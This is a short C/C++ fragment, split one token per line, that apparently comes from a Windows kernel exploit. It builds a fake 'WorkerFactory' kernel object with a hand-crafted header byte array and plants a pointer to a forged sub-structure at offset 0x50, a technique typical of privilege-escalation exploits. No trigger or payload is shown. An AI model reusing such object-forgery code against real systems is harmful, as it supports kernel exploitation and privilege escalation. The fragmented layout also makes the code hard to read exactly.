const DWORD FakeObjSize
=
0x100
;
static BYTE FakeWorkerFactory[FakeObjSize];
memset(FakeWorkerFactory,
0
, FakeObjSize);
static BYTE ObjHead[
0x50
]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x08
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x16
,
0x00
,
0x08
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
};
memcpy(FakeWorkerFactory, ObjHead,
0x50
);
static BYTE a[
0x18
+
0x4
+
0x4
]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
/
/
18
个
0x00
,
0x00
,
0x00
,
0x00
,
/
/
*
(_QWORD
*
)
Object
+
0x18
0x00
,
0x00
,
0x00
,
0x00
};
PVOID
*
pFakeObj
=
(PVOID
*
)((ULONG_PTR)FakeWorkerFactory
+
0x50
);
*
pFakeObj
=
a;
printf(
"object a : = %p\n"
, a);
printf(
"pFakeObj = %p\n"
, pFakeObj);